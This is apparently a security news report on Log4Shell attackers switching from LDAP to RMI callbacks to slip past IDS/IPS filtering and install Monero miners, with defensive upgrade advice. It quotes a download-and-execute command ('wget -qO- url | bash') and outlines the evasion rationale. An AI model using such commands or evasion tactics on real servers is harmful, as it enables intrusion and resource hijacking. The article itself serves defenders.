Some threat actors exploiting the Apache Log4j vulnerability have switched from LDAP callback URLs to RMI or even used both in a single request for maximum chances of success.
This shift is a notable development in the ongoing attack and one that defenders need to be aware of when trying to secure all potential vectors.
For now, this trend was observed by threat actors looking to hijack resources for Monero mining, but others could adopt it at any time.
From LDAP to RMI
Most attacks targeting the Log4j “Log4Shell” vulnerability have been through the LDAP (Lightweight Directory Access Protocol) service.
The switch to RMI (Remote Method Invocation) API seems counter-intuitive at first, considering that this mechanism is subject to additional checks and constraints, but that’s not always the case.
Some JVM (Java Virtual Machine) versions do not feature stringent policies, and as such, RMI can sometimes be a more effortless channel to achieving RCE (remote code execution) than LDAP.
Moreover, LDAP requests are now solidified as part of the infection chain and are more tightly monitored by defenders.
For example, many IDS/IPS tools are currently filtering requests with JNDI and LDAP, so there’s a chance that RMI may be ignored at this point.
In some cases, Juniper saw both RMI and LDAP services in the same HTTP POST request.
However, for all actors attempting to abuse the Log4Shell vulnerability, the goal remains the same – sending an exploit string to be processed by the vulnerable Log4j server, leading to code execution on the target.
The above attack causes a bash shell to be spawned that downloads a shell script from a remote server.
“During the execution of this command, the bash shell will pipe the attacker’s commands to another bash process: “wget -qO- url | bash”, which downloads and executes a shell script on the target machine.”
Hijacking resources to make money
In the attacks seen by Juniper Labs, threat actors are interested in mining Monero on the compromised servers and present it as an almost innocuous activity that “ain’t going to harm anyone else.”
The miner targets x84_64 Linux systems and adds persistence via the cron subsystem.
Although most attacks so far have targeted Linux systems, CheckPoint reports that its analysts discovered the first Win32 executable that leverages Log4Shell, called ‘StealthLoader.’
Locate, update, report
The only feasible way to defend against what has become one of the most impactful vulnerabilities in recent history is to upgrade Log4j to version 2.16.0.
Additionally, admins should keep a close eye on Apache’s security section for new version announcements and apply them immediately.
For mitigation guidance and complete technical information resources, check out CISA’s detailed page on Log4Shell.